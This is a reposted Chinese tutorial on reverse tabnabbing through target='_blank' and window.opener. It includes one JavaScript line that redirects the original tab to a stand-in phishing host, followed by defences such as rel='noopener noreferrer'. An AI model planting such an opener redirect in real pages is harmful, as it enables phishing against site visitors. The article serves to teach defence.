来源：原点资讯(m.360kss.com)时间：2023-04-17 02:16:21作者：YD166手机阅读>>
通常，在网页中使用链接时，如果希望浏览器在新选项卡中打开指定的 URL，就会在 a 标记上添加属性 target = “_blank”。
但也恰恰是这个属性为网络钓鱼攻击者提供了可趁之机。
在谈论 opener 之前，让我们首先看一下中的 parent。</p> <p>我们知道，用于父子页面交互的对象通常是在<iframe>中提供的，这个对象就是 window.parent。我们可以通过 window.parent 对象从 iframe 的页面中访问父页面的 window 对象。</p> <p>opener 与 parent 一样，但它只用于通过<a target="_blank">在新标签页中打开页面。你可以直接使用 window.opener 从通过<a target="_blank">打开的页面中访问源页面的 window 对象。</p> <strong>同域和跨域</strong> <p>浏览器提供了完整的跨域保护功能。当域名相同时，parent 对象和 opener 对象都是父页面的 window 对象。当域名不同时，parent 和 opener 是 global 对象。这个 global 对象只提供对属性的非常有限的访问，而且不允许访问大多数属性（如果尝试访问它们将直接抛出 DOMException）。</p> <p><img src="http://img.yd166.com/uploads/allimg/3/pgc-image/f5dd3f52ed9e4b53a472ac7e41000a48.jpg" alt="html中的target属性,html哪些标签有name属性(1)"></p> <p><img src="http://img.yd166.com/uploads/allimg/3/pgc-image/4c92b0b4851e4cd0ab94f96a35d37caa.jpg" alt="html中的target属性,html哪些标签有name属性(2)"></p> <p>在<iframe>中，提供了一个 sandbox 属性来控制 iframe 中页面的权限，因此即使在同一个域中，也可以控制<iframe>的安全性。</p> <strong>如何利用漏洞</strong> <p>如果你的网站上有一个使用 target = “_ blank”的链接，一旦用户点击该链接并进入新标签页，如果新标签页的网页上有恶意代码，用户将直接被导航到虚假网站。这个时候，如果用户返回到你的标签页，他们将看到已被替换的页面。</p> <strong>步骤</strong> <p>1. 你的网站 https://example.com 上有一个链接：</p> <p><code><a href="https://an.evil.site" target="_blank">Enter an "evil" website</a></code></p> <p>2. 用户单击这个链接，并在新选项卡上打开新页面。网站可以通过 HTTP 标头中的 Referer 属性确定用户的来源。</p> <p>并且网页中包含类似这样的 JavaScript 代码：</p> <p><code>const url = encodeURIComponent('{{header.referer}}'); window.opener.location.replace('https://a.fake.site/?' url);</code></p> <p>3. 现在，用户继续浏览新选项卡，而原始的选项卡已导航到 https://a.fake.site/?https://example.com/。</p> <p>4. 恶意网站 https://a.fake.site 根据查询字符串伪造了一个用于欺骗用户的页面（你也可以在此期间再次跳转，让浏览器地址栏中的地址看起来更令人困惑）。</p> <p>5. 用户关闭 https://an.evil.site 选项卡，并返回原始网站，但你会发现根本回不去了。</p> <p>上述攻击步骤在跨域的场景中有效。因为在跨域时，opener 对象与 parent 对象是一样的，两者都受到了限制，都只提供非常有限的访问属性。而在仅有的少数属性中，大多数都不允许被访问（如果试图访问它们将直接抛出 DOMException）。</p> <p>但在跨域的场景中，opener 仍然可以调用 location.replace 方法，而 parent 则不能。</p> <p>如果是在同一个域中（例如网站上的页面嵌入了恶意代码），情况会严重得多。</p> <strong>如何防御</strong> <p><iframe>提供了 sandbox 属性，你可以通过以下方式来使用链接：</p> <p><strong>1.Referrer Policy 和 noreferrer</strong></p> <p>在上述攻击步骤中，HTTP 标头中包含了 Referer 属性。实际上，你可以将 Referrer Policy 添加到 HTTP 的响应标头中来保护链接源的隐私。</p> <p>你需要通过修改后端代码来实现 Referrer Policy。在前端，你还可以通过将<a>标签的 rel 属性指定为“noreferrer”来确保链接源的隐私。</p> <p><code><a href="https://an.evil.site" target="_blank" rel="noreferrer">Enter an "evil" website</a></code></p> <p>不过，需要注意的是，即使你限制了 referer 的传递，仍然无法防止原始页面被恶意重定向。</p> <p><strong>2.noopener</strong></p> <p>出于安全方面的考虑，现代浏览器允许将<a>标签的 rel 属性指定为“noopener”，因此在打开的新选项卡中，opener 对象将不再可用，因为它已被设置为 null。</p> <p><code><a href="https://an.evil.site" target="_blank" rel="noopener">Enter an "evil" website</a></code></p> <p><strong>3.JavaScript</strong></p> <p>noopener 属性似乎解决了所有问题，但你仍然需要考虑浏览器的兼容性问题。</p> <p><img src="http://img.yd166.com/uploads/allimg/3/pgc-image/df54d444bc5242dd81f016bdeb90c000.jpg" alt="html中的target属性,html哪些标签有name属性(3)"></p> <p>如你所见，大多数浏览器现在都支持 rel = “noopener”。但是，对于那些稍微陈旧一点的浏览器和古老的浏览器，只有 noopener 属性是不够的。</p> <p>因此，你必须使用以下这样的 JavaScript 代码。</p> <p><code>"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }</code><strong>最好的建议</strong></p> <p>首先，如果你的网站链接使用了 target = “_ blank”，那么也应该将 rel = “noopener”添加链接中（建议也添加 rel = “noreferrer”）。例如：</p> <p><code><a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">Enter an "evil" website</a></code></p> <p>当然，当跳转到第三方网站时，可以为了 SEO 添加 rel = “nofollow”，所以最终会像这样：</p> <p><code><a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">Enter an "evil" website</a></code><strong>性能</strong></p> <p>最后，我们来谈谈性能问题。</p> <p>如果网站使用了<a target="_blank">，则新打开的选项卡的性能将影响当前页面。这个时候，如果在新打开的页面中执行非常臃肿的 JavaScript 脚本，原始选项卡将受到影响，并且会出现停滞现象（当然，它不会卡住）。</p> <p>如果将 noopener 添加到链接中，则两个选项卡不会相互干扰，因此原始页面的性能不会受到新页面的影响。</p> <strong>英文原文</strong> <p>The Hidden Dangers You Have Never Noticed: target = “_blank” and “opener”</p> <p><strong class="highlight-text">关注我并转发此篇文章，私信我“领取资料”，即可免费获得InfoQ价值4999元迷你书！</strong></p> </div> </div> <div class="title leftxg"> <h2>栏目热文</h2> </div> <div class="list_item"> <a href="//m.360kss.com/jishu/5622108806.html" class="list_img"><img alt="html中echo怎么用（html语音标签怎么设置）" data-original="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/d5750d0586cf4edc954b99b534172a0e.jpg"></a> <div> <h3><a href="//m.360kss.com/jishu/5622108806.html">html中echo怎么用（html语音标签怎么设置）</a></h3> <p class="cnt">功能要求使用echo语句在页面中输出字符串信息。实例代码<!doctype html><html>...</p> </div> <p class="view"><span class="fl">2023-04-17 02:42:38</span><span class="more fr"><a href="//m.360kss.com/jishu/5622108806.html">查看全文 >></a></span></p> </div> <div class="list_item"> <a href="//m.360kss.com/jishu/5622108786.html" class="list_img"><img alt="html怎么做判断（html判断条件）" data-original="https://img.yd166.com/uploads/thumb/nopic.jpg"></a> <div> <h3><a href="//m.360kss.com/jishu/5622108786.html">html怎么做判断（html判断条件）</a></h3> <p class="cnt">方法1：使用isNaN()函数isNaN()函数是js自带的全局函数，isNaN() 函数用于检查其参数是否是非数字值。...</p> </div> <p class="view"><span class="fl">2023-04-17 02:35:56</span><span class="more fr"><a href="//m.360kss.com/jishu/5622108786.html">查看全文 >></a></span></p> </div> <div class="list_item"> <a href="//m.360kss.com/jishu/5622108766.html" class="list_img"><img alt="在html中输出对象中的指定属性值（html五种新增加的属性是）" data-original="https://img.yd166.com/uploads/thumb/dfic-imagehandler/7450a139-ea20-402b-81d3-91988b30de32.jpg"></a> <div> <h3><a href="//m.360kss.com/jishu/5622108766.html">在html中输出对象中的指定属性值（html五种新增加的属性是）</a></h3> <p class="cnt">写在前面今年国庆假期终于可以憋在家里了不用出门了，不用出去看后脑了，真的是一种享受。这么好的光阴怎么浪费，睡觉、吃饭、打...</p> </div> <p class="view"><span class="fl">2023-04-17 02:05:40</span><span class="more fr"><a href="//m.360kss.com/jishu/5622108766.html">查看全文 >></a></span></p> </div> <div class="list_item"> <a href="//m.360kss.com/jishu/5622108746.html" class="list_img"><img alt="怎样使用echo输出html标记（echo输出两个值）" data-original="https://img.yd166.com/uploads/thumb/dfic-imagehandler/948a7f2c-fadd-4286-a900-9d61828b4a76.jpg"></a> <div> <h3><a href="//m.360kss.com/jishu/5622108746.html">怎样使用echo输出html标记（echo输出两个值）</a></h3> <p class="cnt">在 PHP 中有两个基本的输出方式： echo 和 print。本弹中我们会详细讨论两个语句的用法，并在实例中演示如何使...</p> </div> <p class="view"><span class="fl">2023-04-17 02:35:18</span><span class="more fr"><a href="//m.360kss.com/jishu/5622108746.html">查看全文 >></a></span></p> </div> <div class="list_item"> <a href="//m.360kss.com/chuanmei/5622108726.html" class="list_img"><img alt="西瓜视频的水印怎样去掉（西瓜视频里的个人的水印怎么去掉）" data-original="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/bb6418961641489f9fbb7f01d0512b1e.jpg"></a> <div> <h3><a href="//m.360kss.com/chuanmei/5622108726.html">西瓜视频的水印怎样去掉（西瓜视频里的个人的水印怎么去掉）</a></h3> <p class="cnt">教你简单的一键无痕去除视频中的水印复制视频链接就能去除水印目前已支持去水印的平台视频链接 ：抖音、快手、小红书(不可去水...</p> </div> <p class="view"><span class="fl">2023-04-17 02:44:54</span><span class="more fr"><a href="//m.360kss.com/chuanmei/5622108726.html">查看全文 >></a></span></p> </div> <div class="list_item"> <a href="//m.360kss.com/jishu/5622108846.html" class="list_img"><img alt="html target怎么用（html target属性的使用）" data-original="https://img.yd166.com/uploads/thumb/pgc-image/e2d20ae355bc48b0a5b9e50ccc1790f4.jpg"></a> <div> <h3><a href="//m.360kss.com/jishu/5622108846.html">html target怎么用（html target属性的使用）</a></h3> <p class="cnt">在我们的开发工程中经常会使用到各种图，所谓的图就是由节点和节点之间的连接所形成的系统，数学上专门有一个分支叫图论（Gra...</p> </div> <p class="view"><span class="fl">2023-04-17 01:59:37</span><span class="more fr"><a href="//m.360kss.com/jishu/5622108846.html">查看全文 >></a></span></p> </div> <div class="list_item"> <a href="//m.360kss.com/jishu/5622108866.html" class="list_img"><img alt="html里的target（html中的target是干什么的）" data-original="https://img.yd166.com/uploads/thumb/3216000347a4011cfdd2.jpg"></a> <div> <h3><a href="//m.360kss.com/jishu/5622108866.html">html里的target（html中的target是干什么的）</a></h3> <p class="cnt">伪类选择器区别于类选择器，类选择器是由用户自己定义的，而伪类选择器是在CSS中已经定义好的选择器。:target对页面某...</p> </div> <p class="view"><span class="fl">2023-04-17 02:15:57</span><span class="more fr"><a href="//m.360kss.com/jishu/5622108866.html">查看全文 >></a></span></p> </div> <div class="list_item"> <a href="//m.360kss.com/jishu/5622108886.html" class="list_img"><img alt="html中target属性值（html中target属性有哪些）" data-original="https://img.yd166.com/uploads/thumb/15a300022cd689775955.jpg"></a> <div> <h3><a href="//m.360kss.com/jishu/5622108886.html">html中target属性值（html中target属性有哪些）</a></h3> <p class="cnt">实例在新窗口中打开所有超链接：a{target-name:new;}浏览器支持任何主流浏览器都不支持target-nam...</p> </div> <p class="view"><span class="fl">2023-04-17 02:17:37</span><span class="more fr"><a href="//m.360kss.com/jishu/5622108886.html">查看全文 >></a></span></p> </div> <div class="list_item"> <a href="//m.360kss.com/jishu/5622108906.html" class="list_img"><img alt="target在html中怎么用（htmltarget属性是什么意思）" data-original="https://img.yd166.com/uploads/thumb/110d0000b5686eeb483b.jpg"></a> <div> <h3><a href="//m.360kss.com/jishu/5622108906.html">target在html中怎么用（htmltarget属性是什么意思）</a></h3> <p class="cnt">HTML 使用超级链接与网络上的另一个文档相连。几乎可以在所有的网页中找到链接。点击链接可以从一张页面跳转到另一张页面...</p> </div> <p class="view"><span class="fl">2023-04-17 02:44:24</span><span class="more fr"><a href="//m.360kss.com/jishu/5622108906.html">查看全文 >></a></span></p> </div> <div class="list_item"> <a href="//m.360kss.com/jishu/5622108926.html" class="list_img"><img alt="html怎么设置预选值（html怎么设置自选颜色）" data-original="https://img.yd166.com/uploads/thumb/pgc-image/SaMflswCc8sXl5.jpg"></a> <div> <h3><a href="//m.360kss.com/jishu/5622108926.html">html怎么设置预选值（html怎么设置自选颜色）</a></h3> <p class="cnt">考生速看！河北省教育考试院最新发布2021年河北省普通高考志愿填报须知↓↓↓志愿填报的流程及注意事项（一）志愿填报时间是...</p> </div> <p class="view"><span class="fl">2023-04-17 02:01:32</span><span class="more fr"><a href="//m.360kss.com/jishu/5622108926.html">查看全文 >></a></span></p> </div> </div> <div class="right fr nyrigth"> <div class="title"> <h2>文档排行</h2> </div> <div class="toplist"> <div class="topbox_gl" id="topic01"> <dl> <dt> <span class="num">1</span> <a href="//m.360kss.com/syjq/5628704667.html">华为nova2s扩大内存（华为nova2s如何扩大内存）</a> </dt> <dd> <a href="//m.360kss.com/syjq/5628704667.html"><img alt="华为nova2s扩大内存（华为nova2s如何扩大内存）" src="https://img.yd166.com/uploads/thumb/pgc-image/4f2fc5ba7cd54b3a99d48825b9fdfd8e.jpg"></a> </dd> <dt> <span class="num">2</span> <a href="//m.360kss.com/syjq/5625957067.html">excel2003中文档属性设置在哪（2003excel开始选项在哪里）</a> </dt> <dd style="display:none;"> <a href="//m.360kss.com/syjq/5625957067.html"><img alt="excel2003中文档属性设置在哪（2003excel开始选项在哪里）" src="https://img.yd166.com/uploads/thumb/pgc-image/6d9267c1713c4be68608709d05f2e20e.jpg"></a> </dd> <dt> <span class="num">3</span> <a href="//m.360kss.com/jingyan/5608565346.html">酱黄瓜花生米的腌制方法（花生米和萝卜丁的腌制方法）</a> </dt> <dd style="display:none;"> <a href="//m.360kss.com/jingyan/5608565346.html"><img alt="酱黄瓜花生米的腌制方法（花生米和萝卜丁的腌制方法）" src="https://img.yd166.com/uploads/thumb/pgc-image/RPlMidDEBoid4o.jpg"></a> </dd> <dt> <span class="num">4</span> <a href="//m.360kss.com/zongyi/5620215926.html">历任港姐一览表</a> </dt> <dd style="display:none;"> <a href="//m.360kss.com/zongyi/5620215926.html"><img alt="历任港姐一览表" src="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/a939a8382ec64ba0a23b7e9f90f0de12.jpg"></a> </dd> <dt> <span class="num">5</span> <a href="//m.360kss.com/jingyan/5610155326.html">smartisanos官网（smartisan os下载）</a> </dt> <dd style="display:none;"> <a href="//m.360kss.com/jingyan/5610155326.html"><img alt="smartisanos官网（smartisan os下载）" src="https://img.yd166.com/uploads/thumb/pgc-image/bd2fff86d357410e8ce2f0f2462c5acb.jpg"></a> </dd> <dt> <span class="num">6</span> <a href="//m.360kss.com/wangluoshiping/5615267166.html">家常炒虾仁的食谱（炒虾仁的10种做法）</a> </dt> <dd style="display:none;"> <a href="//m.360kss.com/wangluoshiping/5615267166.html"><img alt="家常炒虾仁的食谱（炒虾仁的10种做法）" src="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/72d23e739e69486e8e79a8512d9ced25.jpg"></a> </dd> <dt> <span class="num">7</span> <a href="//m.360kss.com/jingyan/5610763766.html">akg耳机推荐有线（akg 头戴耳机推荐）</a> </dt> <dd style="display:none;"> <a href="//m.360kss.com/jingyan/5610763766.html"><img alt="akg耳机推荐有线（akg 头戴耳机推荐）" src="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/04807aafb3fe4aa6b435b8ad0baf31fe.jpg"></a> </dd> <dt> <span class="num">8</span> <a href="//m.360kss.com/jxsb/5633155527.html">旋耕机的操作方法和技巧（旋耕机操作视频教程）</a> </dt> <dd style="display:none;"> <a href="//m.360kss.com/jxsb/5633155527.html"><img alt="旋耕机的操作方法和技巧（旋耕机操作视频教程）" src="https://img.yd166.com/uploads/thumb/dfic-imagehandler/6c078a74-6581-4d01-92d8-1cb2c782e125.jpg"></a> </dd> <dt> <span class="num">9</span> <a href="//m.360kss.com/jingyan/5608013926.html">乐山大佛六十岁以上老人免门票吗（乐山大佛门票老人优惠政策）</a> </dt> <dd style="display:none;"> <a href="//m.360kss.com/jingyan/5608013926.html"><img alt="乐山大佛六十岁以上老人免门票吗（乐山大佛门票老人优惠政策）" src="https://img.yd166.com/uploads/thumb/pgc-image/RqRBh4Z1wcoF5A.jpg"></a> </dd> <dt> <span class="num">10</span> <a href="//m.360kss.com/ysdm/5625985587.html">假面骑士全系列顺序（假面骑士观看顺序表官方）</a> </dt> <dd style="display:none;"> <a href="//m.360kss.com/ysdm/5625985587.html"><img alt="假面骑士全系列顺序（假面骑士观看顺序表官方）" src="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/2cc05db4a0ea4c81b5d405733f491398.jpg"></a> </dd> </dl> </div> </div> <div class="hot_rank hot_rank1"> <div class="title"> <h2>本站推荐</h2> </div> <div> <ul class="r_recommend"> <li><a href="//m.360kss.com/jingyan/5610535806.html"><img alt="草莓豆浆汁做法大全（草莓榨汁怎么做才好吃）" src="https://img.yd166.com/uploads/thumb/a5fe000b57e86b6b5b6b.jpg"><p>草莓豆浆汁做法大全（草莓榨汁怎么做才好吃）</p></a></li> <li><a href="//m.360kss.com/jypx/5629982627.html"><img alt="小学生一年级新学期计划怎么写（一年级小学生新学期计划范文）" src="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/599d23ef3e344e4b9b617de7ca8817d3.jpg"><p>小学生一年级新学期计划怎么写（一年级小学生新学期计划范文）</p></a></li> <li><a href="//m.360kss.com/jiaoyu/5622955386.html"><img alt="英语四级时间分配技巧（英语四级答题最佳顺序）" src="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/06a66abea16e4638a09d9a3006b8add0.jpg"><p>英语四级时间分配技巧（英语四级答题最佳顺序）</p></a></li> <li><a href="//m.360kss.com/shehuifazhi/5619845146.html"><img alt="被拘留过对以后的影响（被拘留过对个人的影响）" src="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/8532c999ddad4afc890d97745acdafa3.jpg"><p>被拘留过对以后的影响（被拘留过对个人的影响）</p></a></li> <li><a href="//m.360kss.com/shougong/5625375647.html"><img alt="我的世界圣诞驯鹿屋教程（我的世界万圣节小屋教程）" src="https://img.yd166.com/uploads/thumb/pgc-image/58adb92dbc2f43cfa64c3861d7316777.jpg"><p>我的世界圣诞驯鹿屋教程（我的世界万圣节小屋教程）</p></a></li> <li><a href="//m.360kss.com/chezhu/5632236787.html"><img alt="卡钳刹车发出刺耳声音（如果卡钳发出滋滋声怎么处理）" src="https://img.yd166.com/uploads/thumb/tos-cn-i-qvj2lq49k0/7a42fcb2e4384092944d59f0f9d9a9ce.jpg"><p>卡钳刹车发出刺耳声音（如果卡钳发出滋滋声怎么处理）</p></a></li> </ul> </div> </div> </div> </div> <div class="footer"> <div class="wrap"> <div class="f-top"> <p><a href="//m.360kss.com/guanyu.html" title="关于我们">关于我们</a><span>|</span><a href="//m.360kss.com/jishu/hezuo.html" title="商务合作">商务合作</a><span>|</span><a href="//m.360kss.com/jianyi.html" title="投诉建议">投诉建议</a><span>|</span><a href="//m.360kss.com/map.html" title="网站地图">网站地图</a></p> <p>原点资讯网（yd166.com），汇集各类型最新资讯，生活百科知识，数码电子最新发布信息，健康生活知识，带你轻松生活，开心生活。</p> <p>Copyright © 2018 - 2021 m.360kss.com., All Rights Reserved. 如发现政治性、事实性、技术性差错和版权方面的问题及不良信息，请及时与我们联系!</p> </div> </div> </div> </body> </html>
